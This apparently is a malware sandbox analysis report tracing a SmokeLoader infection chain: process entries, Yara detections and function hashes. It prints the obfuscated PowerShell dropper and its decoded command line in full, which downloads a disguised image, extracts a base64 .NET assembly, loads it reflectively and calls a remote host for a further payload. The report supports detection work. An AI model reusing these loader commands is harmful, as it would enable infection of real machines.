? ? ?u? ? ? ? ?EQ? ? ? ? ?bwB3? ? ? ? ?G4? ? ? ? ?b? ? ? ? ?Bv? ? ? ? ?GE? ? ? ? ?Z? ? ? ? ?BE? ? ? ? ?GE? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?Cg? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?KQ? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?aQBt? ? ? ? ?GE? ? ? ? ?ZwBl? ? ? ? ?FQ? ? ? ? ?ZQB4? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?WwBT? ? ? ? ?Hk? ? ? ? ?cwB0? ? ? ? ?GU? ? ? ? ?bQ? ? ? ? ?u? ? ? ? ?FQ? ? ? ? ?ZQB4? ? ? ? ?HQ? ? ? ? ?LgBF? ? ? ? ?G4? ? ? ? ?YwBv? ? ? ? ?GQ? ? ? ? ?aQBu? ? ? ? ?Gc? ? ? ? ?XQ? ? ? ? ?6? ? ? ? ?Do? ? ? ? ?VQBU? ? ? ? ?EY? ? ? ? ?O? ? ? ? ?? ? ? ? ?u? ? ? ? ?Ec? ? ? ? ?ZQB0? ? ? ? ?FM? ? ? ? ?d? ? ? ? ?By? ? ? ? ?Gk? ? ? ? ?bgBn? ? ? ? ?Cg? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?QgB5? ? ? ? ?HQ? ? ? ? ?ZQBz? ? ? ? ?Ck? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?HM? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?HI? ? ? ? ?d? ? ? ? ?BG? ? ? ? ?Gw? ? ? ? ?YQBn? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?Cc? ? ? ? ?P? ? ? ? ?? ? ? ? ?8? ? ? ? ?EI? ? ? ? ?QQBT? ? ? ? ?EU? ? ? ? ?Ng? ? ? ? ?0? ? ? ? ?F8? ? ? ? ?UwBU? ? ? ? ?EE? ? ? ? ?UgBU? ? ? ? ?D4? ? ? ? ?Pg? ? ? ? ?n? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bl? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?BG? ? ? ? ?Gw? ? ? ? ?YQBn? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?Cc? ? ? ? ?P? ? ? ? ?? ? ? ? ?8? ? ? ? ?EI? ? ? ? ?QQBT? ? ? ? ?EU? ? ? ? ?Ng? ? ? ? ?0? ? ? ? ?F8? ? ? ? ?RQBO? ? ? ? ?EQ? ? ? ? ?Pg? ? ? ? ?+? ? ? ? ?Cc? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?HM? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?HI? ? ? ? ?d? ? ? ? ?BJ? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?V? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?d? ? ? ? ?? ? ? ? ?u? ? ? ? ?Ek? ? ? ? ?bgBk? ? ? ? ?GU? ? ? ? ?e? ? ? ? ?BP? ? ? ? ?GY? ? ? ? ?K? ? ? ? ?? ? ? ? ?k? ? ? ? ?HM? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?HI? ? ? ? ?d? ? ? ? ?BG? ? ? ? ?Gw? ? ? ? ?YQBn? ? ? ? ?Ck? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?GU? ? ? ? ?bgBk? ? ? ? ?Ek? ? ? ? ?bgBk? ? ? ? ?GU? ? ? ? ?e? ? ? ? ?? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBU? ? ? ? ?GU? ? ? ? ?e? ? ? ? ?B0? ? ? ? ?C4? ? ? ? ?SQBu? ? ? ? ?GQ? ? ? ? ?ZQB4? ? ? ? ?E8? ? ? ? ?Zg? ? ? ? ?o? ? ? ? ?CQ? ? ? ? ?ZQBu? ? ? ? ?GQ? ? ? ? ?RgBs? ? ? ? ?GE? ? ? ? ?Zw? ? ? ? ?p? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bz? ? ? ? ?HQ? ? ? ? ?YQBy? ? ? ? ?HQ? ? ? ? ?SQBu? ? ? ? ?GQ? ? ? ? ?ZQB4? ? ? ? ?C? ? ? ? ?? ? ? ? ?LQBn? ? ? ? ?GU? ? ? ? ?I? ? ? ? ?? ? ? ? ?w? ? ? ? ?C? ? ? ? ?? ? ? ? ?LQBh? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?? ? ? ? ?g? ? ? ? ?CQ? ? ? ? ?ZQBu? ? ? ? ?GQ? ? ? ? ?SQBu? ? ? ? ?GQ? ? ? ? ?ZQB4? ? ? ? ?C? ? ? ? ?? ? ? ? ?LQBn? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?? ? ? ? ?k? ? ? ? ?HM? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?HI? ? ? ? ?d? ? ? ? ?BJ? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?HM? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?HI? ? ? ? ?d? ? ? ? ?BJ? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?I? ? ? ? ?? ? ? ? ?r? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?? ? ? ? ?k? ? ? ? ?HM? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?HI? ? ? ? ?d? ? ? ? ?BG? ? ? ? ?Gw? ? ? ? ?YQBn? ? ? ? ?C4? ? ? ? ?T? ? ? ? ?Bl? ? ? ? ?G4? ? ? ? ?ZwB0? ? ? ? ?Gg? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?GI? ? ? ? ?YQBz? ? ? ? ?GU? ? ? ? ?Ng? ? ? ? ?0? ? ? ? ?Ew? ? ? ? ?ZQBu? ? ? ? ?Gc? ? ? ? ?d? ? ? ? ?Bo? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?CQ? ? ? ? ?ZQBu? ? ? ? ?GQ? ? ? ? ?SQBu? ? ? ? ?GQ? ? ? ? ?ZQB4? ? ? ? ?C? ? ? ? ?? ? ? ? ?LQ? ? ? ? ?g? ? ? ? ?CQ? ? ? ? ?cwB0? ? ? ? ?GE? ? ? ? ?cgB0? ? ? ? ?Ek? ? ? ? ?bgBk? ? ? ? ?GU? ? ? ? ?e? ? ? ? ?? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?YgBh? ? ? ? ?HM? ? ? ? ?ZQ? ? ? ? ?2? ? ? ? ?DQ? ? ? ? ?QwBv? ? ? ? ?G0? ? ? ? ?bQBh? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBU? ? ? ? ?GU? ? ? ? ?e? ? ? ? ?B0? ? ? ? ?C4? ? ? ? ?UwB1? ? ? ? ?GI? ? ? ? ?cwB0? ? ? ? ?HI? ? ? ? ?aQBu? ? ? ? ?Gc? ? ? ? ?K? ? ? ? ?? ? ? ? ?k? ? ? ? ?HM? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?HI? ? ? ? ?d? ? ? ? ?BJ? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?L? ? ? ? ?? ? ? ? ?g? ? ? ? ?CQ? ? ? ? ?YgBh? ? ? ? ?HM? ? ? ? ?ZQ? ? ? ? ?2? ? ? ? ?DQ? ? ? ? ?T? ? ? ? ?Bl? ? ? ? ?G4? ? ? ? ?ZwB0? ? ? ? ?Gg? ? ? ? ?KQ? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?YwBv? ? ? ? ?G0? ? ? ? ?bQBh? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?BC? ? ? ? ?Hk? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?HM? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?WwBT? ? ? ? ?Hk? ? ? ? ?cwB0? ? ? ? ?GU? ? ? ? ?bQ? ? ? ? ?u? ? ? ? ?EM? ? ? ? ?bwBu? ? ? ? ?HY? ? ? ? ?ZQBy? ? ? ? ?HQ? ? ? ? ?XQ? ? ? ? ?6? ? ? ? ?Do? ? ? ? ?RgBy? ? ? ? ?G8? ? ? ? ?bQBC? ? ? ? ?GE? ? ? ? ?cwBl? ? ? ? ?DY? ? ? ? ?N? ? ? ? ?BT? ? ? ? ?HQ? ? ? ? ?cgBp? ? ? ? ?G4? ? ? ? ?Zw? ? ? ? ?o? ? ? ? ?CQ? ? ? ? ?YgBh? ? ? ? ?HM? ? ? ? ?ZQ? ? ? ? ?2? ? ? ? ?DQ? ? ? ? ?QwBv? ? ? ? ?G0? ? ? ? ?bQBh? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?? ? ? ? ?p? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bs? ? ? ? ?G8? ? ? ? ?YQBk? ? ? ? ?GU? ? ? ? ?Z? ? ? ? ?BB? ? ? ? ?HM? ? ? ? ?cwBl? ? ? ? ?G0? ? ? ? ?YgBs? ? ? ? ?Hk? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?WwBT? ? ? ? ?Hk? ? ? ? ?cwB0? ? ? ? ?GU? ? ? ? ?bQ? ? ? ? ?u? ? ? ? ?FI? ? ? ? ?ZQBm? ? ? ? ?Gw? ? ? ? ?ZQBj? ? ? ? ?HQ? ? ? ? ?aQBv? ? ? ? ?G4? ? ? ? ?LgBB? ? ? ? ?HM? ? ? ? ?cwBl? ? ? ? ?G0? ? ? ? ?YgBs? ? ? ? ?Hk? ? ? ? ?XQ? ? ? ? ?6? ? ? ? ?Do? ? ? ? ?T? ? ? ? ?Bv? ? ? ? ?GE? ? ? ? ?Z? ? ? ? ?? ? ? ? ?o? ? ? ? ?CQ? ? ? ? ?YwBv? ? ? ? ?G0? ? ? ? ?bQBh? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?BC? ? ? ? ?Hk? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?HM? ? ? ? ?KQ? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?d? ? ? ? ?B5? ? ? ? ?H? ? ? ? ?? ? ? ? ?ZQ? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?? ? ? ? ?k? ? ? ? ?Gw? ? ? ? ?bwBh? ? ? ? ?GQ? ? ? ? ?ZQBk? ? ? ? ?EE? ? ? ? ?cwBz? ? ? ? ?GU? ? ? ? ?bQBi? ? ? ? ?Gw? ? ? ? ?eQ? ? ? ? ?u? ? ? ? ?Ec? ? ? ? ?ZQB0? ? ? ? ?FQ? ? ? ? ?eQBw? ? ? ? ?GU? ? ? ? ?K? ? ? ? ?? ? ? ? ?n? ? ? ? ?GQ? ? ? ? ?bgBs? ? ? ? ?Gk? ? ? ? ?Yg? ? ? ? ?u? ? ? ? ?Ek? ? ? ? ?Tw? ? ? ? ?u? ? ? ? ?Eg? ? ? ? ?bwBt? ? ? ? ?GU? ? ? ? ?Jw? ? ? ? ?p? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bt? ? ? ? ?GU? ? ? ? ?d? ? ? ? ?Bo? ? ? ? ?G8? ? ? ? ?Z? ? ? ? ?? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?? ? ? ? ?k? ? ? ? ?HQ? ? ? ? ?eQBw? ? ? ? ?GU? ? ? ? ?LgBH? ? ? ? ?GU? ? ? ? ?d? ? ? ? ?BN? ? ? ? ?GU? ? ? ? ?d? ? ? ? ?Bo? ? ? ? ?G8? ? ? ? ?Z? ? ? ? ?? ? ? ? ?o? ? ? ? ?Cc? ? ? ? ?VgBB? ? ? ? ?Ek? ? ? ? ?Jw? ? ? ? ?p? ? ? ? ?C4? ? ? ? ?SQBu? ? ? ? ?HY? ? ? ? ?bwBr? ? ? ? ?GU? ? ? ? ?K? ? ? ? ?? ? ? ? ?k? ? ? ? ?G4? ? ? ? ?dQBs? ? ? ? ?Gw? ? ? ? ?L? ? ? ? ?? ? ? ? ?g? ? ? ? ?Fs? ? ? ? ?bwBi? ? ? ? ?Go? ? ? ? ?ZQBj? ? ? ? ?HQ? ? ? ? ?WwBd? ? ? ? ?F0? ? ? ? ?I? ? ? ? ?? ? ? ? ?o? ? ? ? ?Cc? ? ? ? ?d? ? ? ? ?B4? ? ? ? ?HQ? ? ? ? ?LgBW? ? ? ? ?EY? ? ? ? ?RQBX? ? ? ? ?C8? ? ? ? ?M? ? ? ? ?? ? ? ? ?5? ? ? ? ?C8? ? ? ? ?Ng? ? ? ? ?x? ? ? ? ?C4? ? ? ? ?O? ? ? ? ?? ? ? ? ?0? ? ? ? ?DE? ? ? ? ?Lg? ? ? ? ?0? ? ? ? ?Dk? ? ? ? ?Lg? ? ? ? ?z? ? ? ? ?DI? ? ? ? ?Lw? ? ? ? ?v? ? ? ? ?Do? ? ? ? ?c? ? ? ? ?B0? ? ? ? ?HQ? ? ? ? ?a? ? ? ? ?? ? ? ? ?n? ? ? ? ?C? ? ? ? ?? ? ? ? ?L? ? ? ? ?? ? ? ? ?g? ? ? ? ?Cc? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?HM? ? ? ? ?YQB0? ? ? ? ?Gk? ? ? ? ?dgBh? ? ? ? ?GQ? ? ? ? ?bw? ? ? ? ?n? ? ? ? ?C? ? ? ? ?? ? ? ? ?L? ? ? ? ?? ? ? ? ?g? ? ? ? ?Cc? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?HM? ? ? ? ?YQB0? ? ? ? ?Gk? ? ? ? ?dgBh? ? ? ? ?GQ? ? ? ? ?bw? ? ? ? ?n? ? ? ? ?C? ? ? ? ?? ? ? ? ?L? ? ? ? ?? ? ? ? ?g? ? ? ? ?Cc? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?HM? ? ? ? ?YQB0? ? ? ? ?Gk? ? ? ? ?dgBh? ? ? ? ?GQ? ? ? ? ?bw? ? ? ? ?n? ? ? ? ?Cw? ? ? ? ?JwBS? ? ? ? ?GU? ? ? ? ?ZwBB? ? ? ? ?HM? ? ? ? ?bQ? ? ? ? ?n? ? ? ? ?Cw? ? ? ? ?Jw? ? ? ? ?n? ? ? ? ?Ck? ? ? ? ?KQ? ? ? ? ?=';$OWjuxD = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $Codigo.replace('? ? ? ? ?','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0x1080000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:25:04
Start date:	31/08/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia803104.us.archive.org/27/items/vbs_20240726_20240726/vbs.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.VFEW/09/61.841.49.32//:ptth' , 'desativado' , 'desativado' , 'desativado','RegAsm',''))"
Imagebase:	0x1080000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:25:08
Start date:	31/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x130000
File size:	64'704 bytes
MD5 hash:	8FE9545E9F72E460723F484C304314AD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	13:25:08
Start date:	31/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x130000
File size:	64'704 bytes
MD5 hash:	8FE9545E9F72E460723F484C304314AD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	13:25:08
Start date:	31/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x130000
File size:	64'704 bytes
MD5 hash:	8FE9545E9F72E460723F484C304314AD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000A.00000002.376080124.00000000000C1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000A.00000002.376080124.00000000000C1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000A.00000002.376068215.00000000000A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000A.00000002.376068215.00000000000A0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	13:25:13
Start date:	31/08/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0xff2f0000
File size:	3'229'696 bytes
MD5 hash:	38AE1B3C38FAEF56FE4907922F0385BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000C.00000002.629839810.0000000002801000.00000020.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000C.00000002.629839810.0000000002801000.00000020.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	13:25:21
Start date:	31/08/2024
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	13:25:31
Start date:	31/08/2024
Path:	C:\Windows\System32\taskeng.exe
Wow64 process (32bit):	false
Commandline:	taskeng.exe {B5E7D6C9-0A45-4095-9C68-D1725C8390DE} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1]
Imagebase:	0xff6a0000
File size:	464'384 bytes
MD5 hash:	65EA57712340C09B1B0C427B4848AE05
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	13:25:32
Start date:	31/08/2024
Path:	C:\Users\user\AppData\Roaming\gwseuha
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\gwseuha
Imagebase:	0x13a0000
File size:	64'704 bytes
MD5 hash:	8FE9545E9F72E460723F484C304314AD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	13:25:32
Start date:	31/08/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x9c0000
File size:	2'972'672 bytes
MD5 hash:	6DDCA324434FFA506CF7DC4E51DB7935
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	13:25:33
Start date:	31/08/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe
Imagebase:	0xff2f0000
File size:	3'229'696 bytes
MD5 hash:	38AE1B3C38FAEF56FE4907922F0385BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	13:25:34
Start date:	31/08/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x9c0000
File size:	2'972'672 bytes
MD5 hash:	6DDCA324434FFA506CF7DC4E51DB7935
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	13:25:36
Start date:	31/08/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x9c0000
File size:	2'972'672 bytes
MD5 hash:	6DDCA324434FFA506CF7DC4E51DB7935
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	13:25:37
Start date:	31/08/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe
Imagebase:	0xff2f0000
File size:	3'229'696 bytes
MD5 hash:	38AE1B3C38FAEF56FE4907922F0385BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	13:25:39
Start date:	31/08/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x9c0000
File size:	2'972'672 bytes
MD5 hash:	6DDCA324434FFA506CF7DC4E51DB7935
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader, Description: Yara detected SmokeLoader, Source: 00000018.00000002.628416578.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	13:25:40
Start date:	31/08/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe
Imagebase:	0xff2f0000
File size:	3'229'696 bytes
MD5 hash:	38AE1B3C38FAEF56FE4907922F0385BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader, Description: Yara detected SmokeLoader, Source: 00000019.00000002.628348956.0000000000061000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	13:25:41
Start date:	31/08/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x9c0000
File size:	2'972'672 bytes
MD5 hash:	6DDCA324434FFA506CF7DC4E51DB7935
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	13:25:42
Start date:	31/08/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe
Imagebase:	0xff2f0000
File size:	3'229'696 bytes
MD5 hash:	38AE1B3C38FAEF56FE4907922F0385BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 0019D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.367223692.000000000019D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0019D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_19d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afcc702efb120f14cebbfb0a637f8a2a9331f3432e527806ab1702076291e174
Instruction ID: 3fc9cc7846ee4ed0904c49d21d8d86c1277ba0f410744eb978c001339dd3bd7d
Opcode Fuzzy Hash: afcc702efb120f14cebbfb0a637f8a2a9331f3432e527806ab1702076291e174
Instruction Fuzzy Hash: A201A771504340AAEB104E19DC84B67BFD8EF41764F2CC51AFC494B286C779D845C6B1

Function 0019D01C Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.367223692.000000000019D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0019D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_19d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2dfe5afc35c2925d5075eedba4baa2777c11c21e2b3997992bb7b27b55e44dfa
Instruction ID: 9a6721b48d1fa34f0e04ebdcfe9b2327cf7d46ddbbc22a47dcf73b94fa234ca1
Opcode Fuzzy Hash: 2dfe5afc35c2925d5075eedba4baa2777c11c21e2b3997992bb7b27b55e44dfa
Instruction Fuzzy Hash: 25F06271404344AFEB108E1ADCC8BA6FFD8EB51774F18C55AED484E286C3799C45CAB1

Analysis Process: powershell.exePID: 3628, Parent PID: 3516COMMON

Execution Graph

Execution Coverage:	8.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	58.7%
Total number of Nodes:	46
Total number of Limit Nodes:	2

Executed Functions

Function 00554D58 Relevance: .7, Instructions: 658
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.363624944.0000000000550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_550000_powershell.jbxd

Similarity

API ID: ContextMemoryProcessThreadWow64Write
String ID:
API String ID: 3696009080-0
Opcode ID: 9124b77897fde315e41200fba80ca91cd611cc533adf4d45789870eb99ffc089
Instruction ID: 0241623a229cf8e1792e1563d75b26ee1da30dc02e451ff2e2522ad9904adf08
Opcode Fuzzy Hash: 9124b77897fde315e41200fba80ca91cd611cc533adf4d45789870eb99ffc089
Instruction Fuzzy Hash: 7362D474D116298FDB68DF29C894BEDBBB2BB89301F5081EA940DA7251EB305EC5CF50

Function 00554D48 Relevance: .5, Instructions: 522COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.363624944.0000000000550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_550000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88d967c410c325d508d6a63227842cd68232bd3c63df49ae6d0ce10cb422f02e
Instruction ID: 27776dac310cc3ceeffa5761601353cf2db612c9ee4297bed2cceeb574542522
Opcode Fuzzy Hash: 88d967c410c325d508d6a63227842cd68232bd3c63df49ae6d0ce10cb422f02e
Instruction Fuzzy Hash: D432E374D016298FDB68DF25C864BEDBBB2BB89301F5081EAD50DA7291EB305E85CF50

Function 00880B98 Relevance: 21.7, Strings: 17, Instructions: 484
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8#g, xrefs: 008811A0
$p, xrefs: 00880FCB
$p, xrefs: 00880CB8
$p, xrefs: 00880CAC
4'p, xrefs: 00880E6F
